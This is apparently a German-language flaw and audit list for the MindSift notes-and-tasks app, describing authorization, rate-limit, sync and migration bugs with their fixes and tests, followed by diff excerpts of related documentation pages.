- **Problem:** `blocks.id` ist global eindeutig. Existiert die ID bereits in einem **anderen** Dokument, überschreibt der Konflikt-Zweig dessen Inhalt, ohne `document_id` zu prüfen. Voraussetzung: Schreibrecht im eigenen Dokument und Kenntnis einer fremden Block-ID.
- **Maßnahme:** `DO UPDATE … WHERE blocks.document_id = excluded.document_id`; fremde IDs ablehnen.
### FLAW-39: Kein Rate-Limit außerhalb des Logins
- **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
- **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
- **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
- **Status: Behoben.** `loginGuard.throttle` zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach `429` mit `Retry-After`. Gilt nicht für Anfragen ohne bekannte Client-Adresse; `LOGIN_PROTECTION=false` schaltet es mit ab. Tests: `TestRegisterThrottledPerAddress`, `TestThrottleWindowAndSwitch`.
### FLAW-12: Alarm-Logik
- **Status: Behoben.** Fälligkeiten haben eine optionale Uhrzeit; der Alarm kommt zur Uhrzeit (ganztägig 9:00) minus `notify_before_minutes`, in der Zeitzone `TZ` (Standard Europe/Berlin, Zeitzonendaten eingebettet). Neue Fälligkeit oder Wiederöffnen setzt `alarm_sent` und `alarm_failures` zurück. Nach 3 Durchläufen, in denen kein Kanal zustellt, wird der Alarm aufgegeben (Warnung im Log). Tests: `internal/domain/due_test.go`, `internal/api/alarm_test.go`, `TestAlarmResetsOnNewDueDateOrReopen`, `TestAlarmGivesUpAfterThreeFailedRuns`.
- **Fundstellen:** `startAlarmTicker`, `GetDueTasksForAlarm`, `UpdateThoughtDetails`, `UserSettingsView`.
- **Probleme:**
- `notify_before_minutes` (Einstellungen: „15 Minuten vorher“ usw.) wird nirgends gelesen. Fälligkeiten haben nur ein Datum (`YYYY-MM-DD`), eine Vorlaufzeit ist damit nicht abbildbar.
- Verglichen wird mit `time.Now()` in der Zeitzone des Containers (ohne `TZ` also UTC).
- `alarm_sent` wird nie zurückgesetzt. Wird die Fälligkeit nach einem Alarm verschoben, gibt es keinen neuen.
- Schlagen alle Kanäle fehl, wird jede Minute erneut gesendet (kein Backoff, keine Dead-Letter-Queue).
- **Maßnahme:** Fälligkeit mit Uhrzeit speichern, `alarm_sent` bei Änderung von `due_date` zurücksetzen, Wiederholungen begrenzen.
### FLAW-40: Einladungscode doppelt einlösbar
- **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
- **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
- **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
- **Status: Behoben.** `ClaimUserInvite` beansprucht den Code per `UPDATE … WHERE used_by = ''` vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt `ReleaseUserInvite` ihn wieder frei. Tests: `TestInviteCodeRedeemedOnlyOnce`, `TestInviteReleasedWhenAccountFails`.
### FLAW-13: Migrationen
- **Status: Behoben.** `schema_migrations` mit nummerierten, einmalig ausgeführten Schritten ([migrations.go](../internal/storage/migrations.go)); das bisherige Schema ist Schritt 3 (Baseline). Spalten werden nur angelegt, wenn sie fehlen, alle anderen Fehler brechen den Start ab; Bereinigungen laufen nicht mehr bei jedem Start. `migrations/001_init.sql` ist entfernt. Test: `TestMigrationsRunOnceAndRepairOldDatabases`.
- **Fundstellen (damals):** `Store.migrate` in `internal/storage/sqlite.go`, `migrations/001_init.sql`.
- **Probleme:**
- Es gibt keine Versionstabelle. Alle `ALTER TABLE`-Anweisungen laufen bei jedem Start erneut; Fehler werden pauschal ignoriert (`_, _ = s.db.Exec(q)`), echte Fehler fallen nicht auf.
- Mehrere `UPDATE`/`DROP TABLE`-Bereinigungen laufen bei jedem Start.
- `migrations/001_init.sql` wird nur in das Image kopiert, aber nirgends gelesen, und ist gegenüber dem tatsächlichen Schema veraltet.
- **Maßnahme:** `schema_migrations`-Tabelle mit nummerierten, einmalig ausgeführten Schritten; die SQL-Datei entweder einbetten oder entfernen.
### FLAW-41: Sehr große Frontend-Dateien
- **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
- **Problem:** Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab.
- **Maßnahme:** In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und `api.ts` in REST-Client und Realtime-Transport teilen.
### FLAW-14: Verschluckte Fehler
- **Status: Behoben.** Mehrstufige Änderungen laufen in einer Transaktion (`Store.execInTx`, ganz oder gar nicht) und geben Fehler zurück: Ordner löschen (inkl. Papierkorb), Ordner verschieben, geteilte Ordner anlegen/abgleichen/löschen, Ordner-Freigaben und -Einhängungen, Aufgabenliste löschen, Konto löschen, Anheften, Passwort-Reset (neues Passwort und Entwerten aller Links zusammen). Einzelne Schreibvorgänge, deren Erfolg die API meldet (Abmelden, neues Passwort, Ersteinrichtung, Freigabe-Modus, Gruppe anlegen, Wiederherstellen, Verknüpfung lösen), geben ihren Fehler an den Client. Folgeaufgaben und Alarm-Markierungen protokollieren Fehler. Test: `TestMultiStepChangesAreAllOrNothing`.
- **Bewusst ohne Fehlerbehandlung** (Ausfall ändert nichts Wichtiges): `updated_at`-Stempel von Listen, „zuletzt genutzt“ bei API-Keys, Aufräumen abgelaufener Tokens, Beispieldaten und Demo-Konten, einzelne Schritte des Markdown-Imports (sie landen als „übersprungen“ im Bericht).
- **Nebenbefund (behoben):** `DeleteTaskList` löste alle Aufgaben aus der Liste, **bevor** geprüft wurde, ob der Aufrufer Eigentümer ist; ein Fremder mit der Listen-ID konnte sie so leeren. Ebenso konnten Leser einer Aufgabenliste die Verknüpfung Notiz ↔ Aufgabe lösen.
- **Fundstellen:** u. a. `PatchDocumentBlocks` (Upserts/Deletes), `AddTaskListShare`, `RemoveTaskListShare`, viele `_, _ = s.db.Exec`.
- **Problem:** Scheitert ein Schreibzugriff (z. B. `SQLITE_BUSY`), antwortet die API trotzdem mit Erfolg und broadcastet den Stand, der nie gespeichert wurde. Fehler lassen sich nur schwer nachvollziehen.
- **Beispiel (behoben):** Das Lösen der Verknüpfung zwischen Notiz-Block und Aufgabe („Verknüpfung aufheben“, Löschen eines verknüpften Blocks) schrieb in nicht existierende Spalten `thoughts.doc_id`/`block_id`. Der Fehler wurde verschluckt, die Funktion war nie wirksam. Korrigiert; im neuen Sync-Weg gleicht `ReconcileDocTaskLinks` Häkchen und gelöschte Blöcke ab.
- **Maßnahme:** Mehrstufige Änderungen in Transaktionen bündeln und Fehler zurückgeben.
### FLAW-15: WriteTimeout und SSE
- **Status: Behoben.** `ServeSSE` hebt die Schreibfrist für die eigene Antwort auf (`http.ResponseController.SetWriteDeadline`). Test mit 1-s-Timeout: `TestSSEStreamOutlivesWriteTimeout`. Der Test hat den Abbruch im alten Code bestätigt.
- **Fundstelle:** [`cmd/server/main.go`](../cmd/server/main.go) `WriteTimeout: 30 * time.Second`.
- **Problem:** Go beendet nach diesem Zeitraum das Schreiben der Antwort. Für den SSE-Fallback (`ServeSSE`) bedeutet das voraussichtlich einen Verbindungsabbruch alle 30 s. WebSockets sind durch Hijacking nicht betroffen. Der Client verbindet sich neu, daher fällt es kaum auf.
- **Maßnahme:** Im SSE-Handler `http.ResponseController.SetWriteDeadline(time.Time{})` setzen oder `WriteTimeout` für diese Route aufheben.
### FLAW-17: Schreibgeschützte Dokumentfreigaben
- **Status: Behoben.** Zwangsmigration entfernt, Backend prüft Bearbeiter-Rechte (`DocRole`, `/docs/{id}/sync`), der Editor speichert über die Sync-Engine, und der Freigabe-Dialog bietet „Bearbeiten“ an. Browser-Test: `e2e/share.e2e.mjs`.
- **Fundstellen:** Migration in `Store.migrate` (`UPDATE doc_shares SET permission = 'read' …`, ebenso `doc_team_shares`, `workspace_folder_shares`), `PatchDocumentBlocks`/`UpdateDocument` (nur Eigentümer).
- **Hinweis:** Das ist offenbar gewollt: Nur der Eigentümer schreibt in ein Dokument, Empfänger lesen. Es gibt daher **kein** kollaboratives Bearbeiten. Das Schema (`CHECK(permission IN ('read','write'))`), die Zweige für `write` im Code und frühere Dokumentation suggerieren etwas anderes. Es gibt weder Sperren noch Konfliktauflösung, noch Cursor-Presence.
- **Maßnahme:** Entweder Schreibfreigaben mit Konfliktbehandlung ergänzen oder den toten Code und das Schema bereinigen.
### FLAW-18: Suche
- **Status: Behoben.** SQLite FTS5-Volltexttabellen mit BM25-Ranking (`thoughts_fts`, `documents_fts`, `list_items_fts`), Trigger zur automatischen Synchronisation und initialem Backfill beim Start. Sicheres Query-Escaping, Präfixsuche. Strikte Berechtigungsprüfung über `accessibleTaskListIDsQuery`, `DocRole` (eigene, geteilte Notizen, über Ordner gemountete Notizen) und zugängliche Listen. Rückwärtskompatible API-Antwort mit Snippets (`<mark>`) und Frontend-Integration über `CommandPalette` (`Cmd+K` / `Ctrl+K` / `/`).
- **Fundstellen:** `internal/storage/search.go`, `internal/api/server.go`, `frontend/src/components/CommandPalette.tsx`.
### FLAW-19: Geringe Frontend-Testabdeckung
- **Status: Behoben.** `npm run lint` ist echtes ESLint (`eslint.config.js`: empfohlene JS-/TypeScript-Regeln und React-Hook-Regeln) und läuft im Image-Build; Fehler brechen ihn ab, 24 `exhaustive-deps`-Hinweise bleiben Warnungen. ESLint fand zwei echte Fehler: `TaskDetailModal` und `ManageColumnsModal` riefen Hooks nach `if (!isOpen) return null` auf. Neue Tests: Aufgaben-Dialog (Öffnen/Schließen, Datum/Uhrzeit, Lesemodus), Personen-Stapel geteilter Inhalte, Papierkorb, API-Key-Scopes, Passwortregel, Offline-Warteschlange, Fälligkeiten (insgesamt 90 Frontend-Tests).
- **Stand:** Vitest mit jsdom und Testing Library ist eingerichtet (`npm run test:run`) und läuft beim Image-Build. Getestet sind bisher nur Outliner-Funktionen (Backspace-Zusammenführen, Cursor-Position beim Klicken).
- **Problem:** Aufgaben, Listen, Freigabe-Dialoge und Berechtigungsanzeigen sind ungetestet. `"lint"` in [`frontend/package.json`](../frontend/package.json) ist weiterhin ein Platzhalter (`echo`).
- **Maßnahme:** Tests für kritische Pfade ergänzen, ESLint als echtes `lint`-Skript.
### FLAW-20: Dateigröße und Duplikate
- **Teilweise behoben:** `sqlite.go` und `server.go` sind nach Bereichen in eigene Dateien aufgeteilt (reine Verschiebung, Verhalten unverändert; siehe [architecture.md](architecture.md#verzeichnisse)). Der Lesezugriff auf Aufgabenlisten ist an einer Stelle definiert (`accessibleTaskListsSQL` in `tasklists.go`), die drei Kopien sind weg. Offen: `WorkspaceView.tsx` (≈ 2.200 Zeilen), `TasksView.tsx` (≈ 2.400) und `api.ts` (≈ 1.600) sind weiterhin groß.
- `internal/storage/sqlite.go` (≈ 5.600 Zeilen), `internal/api/server.go` (≈ 3.000), `WorkspaceView.tsx` (≈ 2.300), `TasksView.tsx` (≈ 2.500), `api.ts` (≈ 1.500).
- Die Zugriffsabfrage für Aufgabenlisten steht dreimal fast identisch im Code (`accessibleTaskListIDsQuery`, `GetTaskLists`, `GetTaskListByID`). Dokumentzugriff ist ähnlich verteilt. Änderungen an Berechtigungen müssen an mehreren Stellen erfolgen und werden leicht vergessen.
- **Maßnahme:** In Teilmodule zerlegen (Auth, Dokumente, Aufgaben, Listen, Teams), Zugriffsprüfung zentralisieren.
### FLAW-21: Lizenzdatei fehlt
- **Status: Behoben.** MindSift steht unter der Unlicense (gemeinfrei); `LICENSE` liegt im Repository, README verweist darauf.
- README und Badge nennen die MIT-Lizenz und verlinken auf `LICENSE`; die Datei existiert nicht im Repository.
### FLAW-22: Netzwerk-Details
- **Status: Behoben.** WebSocket/SSE nutzen Einmal-Tickets (60 s, einmalig, an `token_version` gebunden) statt des Sitzungs-Tokens in der URL; `?token=` wird für Streams nicht mehr angenommen. Mit `BASE_URL` erlaubt CORS nur diese Adresse und der WebSocket nur sie oder den angefragten Host; Credentials sind generell aus (es gibt keine Cookies). Logout, „Alle Sitzungen beenden“, Passwortwechsel und Deaktivierung trennen alle Streams des Kontos (`Hub.DisconnectUser`). Tests: `streamticket_test.go`, `TestLogoutEndsLiveStreams`. Ohne `BASE_URL` bleibt die Origin-Prüfung aus, weil Proxys den `Host` oft umschreiben.
- `authenticateUserFromReq` akzeptiert das Token als `?token=` (nötig für `WebSocket`/`EventSource`, die keine Header setzen). Tokens landen dadurch in Proxy- und Zugriffslogs.
- `AllowedOrigins: ["*"]` (Auth läuft über `Authorization`-Header, nicht über Cookies, das Risiko ist daher begrenzt) und `CheckOrigin` liefert immer `true`.
- Ein einmal verbundener WebSocket/SSE-Stream wird bei Logout oder Token-Widerruf nicht getrennt.
- **Maßnahme:** Kurzlebiges, einmaliges Stream-Ticket statt Langzeit-JWT in der URL; Origin gegen `BASE_URL` prüfen.
### FLAW-23: SQLite-Schreibengpass
- **Status: Behoben.** Transaktionen starten mit der Schreibsperre (`_txlock=immediate` im DSN). Vorher scheiterte eine Transaktion, die erst liest und dann schreibt, sofort mit `SQLITE_BUSY`, sobald jemand anderes schrieb (`busy_timeout` greift in diesem Fall nicht); im Lasttest 12 von 480 Schreibvorgängen. Jetzt warten Schreiber bis zu 10 s auf ihren Platz. Es bleibt ein Schreiber zur Zeit, für Familien und Teams ausreichend. Test: `TestConcurrentWritersDoNotFail`.
- Eine SQLite-Datei (WAL, `busy_timeout`, bis zu 8 offene Verbindungen) erlaubt nur einen gleichzeitigen Schreiber. Für Familien und kleine Teams unkritisch; bei vielen aktiven Editoren sind `SQLITE_BUSY`-Fehler möglich, die wegen FLAW-14 stumm bleiben.
### FLAW-24: Organisations-Endpunkte ohne Berechtigungsprüfung
- **Status: Behoben.** Die alten `/organizations`-Endpunkte sind entfernt; Organisationen verwaltet nur der Server-Admin über `/admin/organizations`.
- **Fundstellen:** `handleDeleteOrganization`, `handleGetOrgTeams`, `handleCreateOrgTeam` (und `Store.DeleteOrganization`) in `server.go` bzw. `sqlite.go`.
- **Problem:** Diese Handler prüfen weder Eigentümer noch Mitgliedschaft. Jeder angemeldete Nutzer kann mit bekannter ID eine fremde Organisation löschen, deren Gruppen auflisten oder dort Gruppen anlegen. Gruppenbezogene Endpunkte (`/teams/{id}…`) prüfen dagegen korrekt auf Gruppen-Admin. Das Datenmodell kennt Organisationen nur noch rudimentär; im UI werden Gruppen direkt über `POST /teams` angelegt (`orgId` Standard `default`).
- **Maßnahme:** Organisationen entweder konsequent absichern (Eigentümer/Server-Admin) oder entfernen.
### FLAW-25: Teilweise ausgeführte Struktur-Aktionen an gesperrten Bullets
- **Status: Behoben.** Fremd gesperrte Bullets sind im Editor schreibgeschützt und zeigen, wer sie bearbeitet. Löschen, Zusammenführen, Ein-/Ausrücken und Ziehen werden nicht gestartet, wenn ein beteiligter Bullet (oder einer im Ast) gesperrt ist; stattdessen erscheint ein Hinweis. Ebenso für „Übernehmen“/„Verwerfen“ und Rückgängig. Browser-Test: `e2e/lock.e2e.mjs`.
- **Fundstellen:** `handleMergeWithPrevious` und `handleIndentBlock` in [`OutlinerTree.tsx`](../frontend/src/features/workspace/OutlinerTree.tsx); Sperrregeln in `internal/collab` (Verschieben/Löschen gesperrter Blöcke wird abgelehnt).
- **Problem:** Eine Editor-Aktion besteht oft aus mehreren Operationen. Ist einer der beteiligten Bullets von jemand anderem gesperrt, lehnt der Server nur diese Operation ab. Beispiel aus dem Browser-Test: Backspace am Zeilenanfang hängt den Text oben an (angewendet), das Löschen des unteren Bullets wird abgelehnt – der Text steht dann doppelt da. Einrücken eines fremd gesperrten Bullets wird ohne Hinweis zurückgenommen. Es geht kein Text verloren.
- **Maßnahme (Phase 3):** Gesperrte Bullets im Editor anzeigen und Struktur-Aktionen, die sie berühren, gar nicht erst ausführen.
### FLAW-26: Fokus-Verzögerung nach Enter
- **Status: Behoben.** Neu eingehängte Bullets bekommen den Fokus sofort beim Einhängen. Browser-Test: „Sofort nach Enter Getipptes landet im neuen Bullet“.
- **Fundstelle:** `focusBlockInput` in `OutlinerTree.tsx` setzt den Fokus erst im nächsten Animation-Frame.
- **Problem:** Zeichen, die innerhalb dieses Frames getippt werden (automatisiert oder sehr schnelles Tippen), landen noch im vorherigen Bullet. Bei fremd gesperrtem Bullet entsteht daraus eine Konfliktkopie.
- **Maßnahme:** Fokus nach dem Anlegen synchron setzen (`useLayoutEffect`).
### FLAW-27: Grenzen nach der Verdichtung
- **Status: Bekannt, bewusst so.**
- **Fundstellen:** `CompactDocs` in [`internal/storage/docsync.go`](../internal/storage/docsync.go), `reviveAsNewBlock` in [`internal/collab/ops.go`](../internal/collab/ops.go).
- **Verhalten:** Nach 30 Tagen sind gelöschte Blöcke endgültig weg. Rückgängig für ein so altes Löschen ist nicht mehr möglich (Hinweis im Editor). Text, der wochenlang offline in einem inzwischen endgültig gelöschten Block getippt wurde, kommt als neuer Block am Ende der Notiz zurück, nicht an der alten Stelle. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet (Antwort ging verloren, Gerät so lange offline), wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie, kein stilles Überschreiben.
---
## Ideen für Funktionen
## Aus der früheren Fassung entfernt
### Erfassen
- **Teilen-Ziel der App** (`share_target` im Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen.
- **Natürliche Zeitangaben** beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit.
- **Mail an die Inbox:** eine persönliche Adresse, deren Mails als Gedanken landen.
Die frühere `flaws.md` führte als „gelöst“, was im Code nicht existiert: In-Memory-DocRooms, `clientId`-Echo-Schutz, Cursor-Presence, 1,5-s-Debounce-Flush, `internal/ws/docroom.go`, `frontend/src/lib/useDocumentSync.ts` und Yjs/CRDT. Der Code enthält nur noch `internal/ws/hub.go` (Räume, Benutzer-Kanäle, SSE-Fallback). Die CRDT-Tabellen werden beim Start gelöscht (`DROP TABLE document_crdt_*`). Dokumente werden per REST gespeichert (`PATCH /documents/{id}/blocks`) und als `DOC_BLOCKS_PATCHED` verteilt. Die frühere Aussage zur Token-Versionierung (`token_version`, `revoked_tokens`) trifft dagegen zu und ist in [sharing-and-permissions.md](sharing-and-permissions.md) und [architecture.md](architecture.md) beschrieben.
### Aufgaben & Erinnerungen
- **Web-Push-Benachrichtigungen** für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail.
- **Alarme auch für Zugewiesene**, nicht nur für den Eigentümer der Aufgabe.
- **Zeitzone pro Benutzer** statt einer Server-Zeitzone für alle.
- **Kalenderansicht und iCal-Abo** der fälligen Aufgaben (z. B. in Google-/Apple-Kalender).
- **Flexiblere Wiederholungen:** „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“.
### Notizen
- **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt.
- ~~**Bilder und Anhänge** in Notizen.~~ (Umgesetzt in v0.7.0 mit `/image`, `/audio` und Medienablage).
- **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“).
- **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum.
- **Verlinkungs-Graph** auf Basis der Backlinks.
### Listen
- **Sortierung nach Laden:** Kategorien in der Reihenfolge des eigenen Supermarkts.
- **Häufige Einträge vorschlagen** beim Tippen (aus erledigten Einträgen).
### Konto & Sicherheit
- **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
- **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
- **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
### Betrieb
- **Backups an ein externes Ziel** (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben.
- **`/metrics` für Prometheus** und ein Healthcheck, der auch die Datenbank prüft.
- **Update-Hinweis** in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.
### FLAW-27: Listeneinträge ohne Berechtigungsprüfung
- **Status: Behoben.** Gefunden beim Bau der API-Key-Scopes (Oktober 2026).
- **Problem:** `POST/PATCH/PUT/DELETE /lists/{id}/items…`, `…/items/reorder` und `…/clear-completed` prüften weder den Zugriff auf die Liste noch, ob der Eintrag zu ihr gehört. Jeder angemeldete Nutzer mit einer Listen- oder Eintrags-ID konnte Einträge anlegen, abhaken, ändern und löschen, auch Leser einer geteilten Liste. Ebenso ließ sich ein Gedanke in einen Eintrag einer fremden Liste umwandeln.
- **Behebung:** `Store.ListRole` / `EnsureListItemsWritable` (Eigentümer oder Bearbeiter, Eintrag muss zur Liste gehören) in allen Eintrags-Handlern und in `UpdateThoughtTriage`; ohne Zugriff `404`, als Leser `403`. Test: `TestListItemsNeedWriteAccess`.
+2 -2
View File
@@ -112,7 +112,7 @@ Daten fließen nur über `/sync` und `/snapshot`. Push-Kanäle melden nur „Not
|---|---|---|
| 1. WebSocket | Verbindungsfehler oder 35 s ohne `PONG` auf das `PING` alle 15 s (WebSocket angenommen, aber nichts kommt durch) | SSE |
| 2. SSE | Erstes Ereignis kommt nicht innerhalb von 5 s (Proxy puffert); gilt dann für den ganzen Tab | Long-Polling |
| 3. Long-Polling: app-weit (`/events/poll`, `DOC_SEQ` wie bei SSE), sonst eigenes (`/changes`, 25 s) | 3 Fehlschläge hintereinander | Intervall |
| 3. Long-Polling (`/changes`, 25 s) | 3 Fehlschläge hintereinander | Intervall |
| 4. Intervall | – | Abfrage alle 3 s; bei `online` wird Long-Polling erneut versucht |
Zusätzlich, solange Stufe 1–3 läuft: Abgleich alle 7 s, wenn die Engine Sperren hält (Verlängerung), sonst alle 30 s zur Sicherheit. Der Editor zeigt den Weg an („Live“, „Live (Long-Polling)“, „Abgleich alle 3 s“). Gemessen im Browser-Test: 0,2–0,3 s über WebSocket, SSE und Long-Polling, rund 3 s im Intervall.
@@ -149,7 +149,7 @@ Ein Hintergrundjob (`startCompaction`) läuft beim Start und danach alle 6 Stund
| Idempotenz-Ergebnisse | 90 Tage |
| Leases und Sitzungen im Speicher | abgelaufene werden entfernt |
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: Nach 30 Tagen sind gelöschte Blöcke endgültig weg, Rückgängig ist dann nicht mehr möglich. Text, der so lange offline in einem inzwischen gelöschten Block getippt wurde, kommt als neuer Block ans Ende der Notiz. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet, wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie.
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: [FLAW-27](../flaws.md).
## Tests
+1 -1
View File
@@ -13,7 +13,7 @@ Einkaufs-, Pack- und Checklisten für gemeinsames Arbeiten. Code: [SharedListsVi
- **Kategorien per Hashtag:** `Hafermilch #Kühlregal` landet in der Kategorie „Kühlregal“. Kategorien werden alphabetisch als Abschnitte angezeigt; die Eingabe schlägt vorhandene Hashtags vor.
- **Menge:** Feld `quantity` (z. B. `2x`, `500g`).
- **Drag & Drop** ordnet Einträge um; in eine andere Kategorie gezogen, wird der Hashtag im Text angepasst (`items/reorder` mit `category` und `content`).
- **Abhaken** speichert, wer und wann; Erledigte stehen in einem eigenen Bereich und lassen sich per „Erledigte entfernen“ löschen (`clear-completed`). Nach der Frist des Listen-Eigentümers (Kontoeinstellungen → Aufbewahrung, Standard 7 Tage) löscht der Server abgehakte Einträge von selbst ([retention.go](../../internal/storage/retention.go)).
- **Abhaken** speichert, wer und wann; Erledigte stehen in einem eigenen Bereich und lassen sich per „Erledigte entfernen“ löschen (`clear-completed`).
- **Freigabe** über den Dialog `UnifiedShareModal` (Bearbeiten oder Nur Lesen). Ein Leser sieht Änderungen live, ändert aber nichts.
- **Live-Sync:** Ereignisse `ITEM_*` und `LIST_*` im Raum der Liste ([websocket.md](../api/websocket.md)). Abhaken erscheint bei allen Beteiligten sofort.
- **Wer hat's hinzugefügt:** In geteilten Listen zeigt jeder Eintrag ein kleines Profilbild der Person, die ihn angelegt hat (`createdBy`, `createdByName`). Einträge von vor dieser Funktion haben keinen Autor und zeigen nichts.
+6 -10
View File
@@ -8,14 +8,10 @@ Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus
## Ansichten
- **Liste** mit den Reitern Offen, Erledigt und Papierkorb; Gruppierung (z. B. nach Status oder Fälligkeit) und Sortierung stehen am PC rechts daneben, direkt über der Liste. Die Hashtag-Filter darüber bleiben einzeilig; passen nicht alle hinein, klappt „…“ sie auf mehrere Zeilen auf.
- **Kanban:** Spalten pro Liste frei konfigurierbar (Name, Farbe, „Erledigt“-Spalte). Farben in „Spalten anpassen“ über den Punkt vor dem Namen: Grau, Anthrazit (Textfarbe des Themes), Grün, Gelb, Blau, Rot, Lila, Akzentfarbe (`columns[].color` = `gray`/`slate`/`green`/`yellow`/`blue`/`red`/`purple`/`accent`; ältere Werte `emerald`/`amber` gelten als Grün/Gelb, Spalten ohne Farbe behalten die ihrer Rolle). Der Punkt erscheint im Spaltenkopf, vor dem Status in der Listenansicht und im Detail-Fenster ([ManageColumnsModal.tsx](../../frontend/src/features/triage/ManageColumnsModal.tsx), `columnDotClass`). Blau und Lila kommen aus `--color-info` / `--color-purple`; Themes können sie setzen, sonst gelten Standardwerte aus `index.css`. Standard: *Zu erledigen*, *In Bearbeitung*, *Wartet auf andere*, *Erledigt*. Eine Karte in eine „Erledigt“-Spalte zu ziehen setzt `isCompleted`; maßgeblich ist die als erledigt markierte Spalte der Liste, egal mit welcher ID (`isDoneColumn` beim Umsortieren). Am PC ist das Board so hoch wie das Fenster, wenn alle Spalten in eine Reihe passen; dann scrollen nur die Spalten.
- **„Alle Aufgaben“ als Kanban:** Die Spalten aller Listen werden nach Namen zusammengeführt (Groß/Klein egal), in Reihenfolge und Farbe der ersten Liste, die eine Spalte hat; verschieden benannte Spalten bleiben getrennt. Beim Ziehen sind Spalten, die die Liste der Karte nicht hat, ausgegraut und nehmen nichts an. Status-Auswahl, Pfeile auf der Karte und Detail-Fenster nutzen immer die Spalten der eigenen Liste.
- **Papierkorb und Aufbewahrung** ([task_trash.go](../../internal/storage/task_trash.go), [retention.go](../../internal/storage/retention.go)): Gelöschte Aufgaben, „Erledigte in den Papierkorb“ (`POST /tasks/clear-done`) und erledigte Aufgaben nach Ablauf ihrer Frist wandern in den Papierkorb der Aufgaben (Tabelle `trashed_tasks`: die ganze Zeile samt Zuweisungen als Kopie). Wer die Liste sieht, sieht ihren Papierkorb; Zurückholen und endgültig Löschen brauchen Bearbeitungsrecht. Zurückgeholt wird die Aufgabe unverändert (eine gelöschte Liste macht sie zur eigenen Aufgabe ihres Erstellers). Die Fristen stellt jede Person unter Kontoeinstellungen → Aufbewahrung ein (erledigte Aufgaben Standard 30 Tage, Papierkorb 30 Tage); in einer Liste gilt die Frist des Eigentümers. Den Zeitpunkt des Abhakens setzt ein Trigger (`thoughts.completed_at`), egal auf welchem Weg abgehakt wird; der Server räumt stündlich auf (nicht in der Demo). Ein mit einer Notiz verknüpftes Häkchen bleibt als normales Häkchen stehen.
- **Rückgängig:** `Strg+Z`/`Cmd+Z` nimmt in der Aufgabenansicht die letzten Schritte zurück (bis 20): Löschen (aus dem Papierkorb zurück), Verschieben (Spalten, Reihenfolge) und Abhaken. Nach dem Löschen bietet ein Hinweis unten „Rückgängig“, auch am Handy. In Textfeldern gilt deren eigenes Rückgängig.
- **Liste** mit Filtern (offen, erledigt, Papierkorb), Gruppierung (z. B. nach Status oder Fälligkeit), Sortierung und Hashtag-Filter.
- **Kanban:** Spalten pro Liste frei konfigurierbar (Name, Farbe, „Erledigt“-Spalte). Standard: *Zu erledigen*, *In Bearbeitung*, *Wartet auf andere*, *Erledigt*. Eine Karte in eine „Erledigt“-Spalte zu ziehen setzt `isCompleted`.
- Drag & Drop sortiert in der Liste und zwischen Spalten; ein Klick öffnet das Detail-Fenster (Titel, Status, Priorität, Fälligkeit mit optionaler Uhrzeit und Schnellwahl, Liste, Hashtags, Unteraufgaben mit Fortschrittsbalken, Notizen).
- „Als Notiz vertiefen“ legt aus einer Aufgabe eine Notiz an (Titel, darunter Fälligkeit und Priorität, dann Notizen und Unteraufgaben). Die Aufgabe bleibt in ihrer Liste und wird mit dem ersten Häkchen der Notiz verknüpft (`converted_type = document_block`); ein Gedanke aus der Triage wird dagegen ganz zur Notiz. Aufgaben aus Notiz-Checkboxen (`enhanced-task`) bleiben verknüpft, „In Notiz öffnen“ springt zum Block.
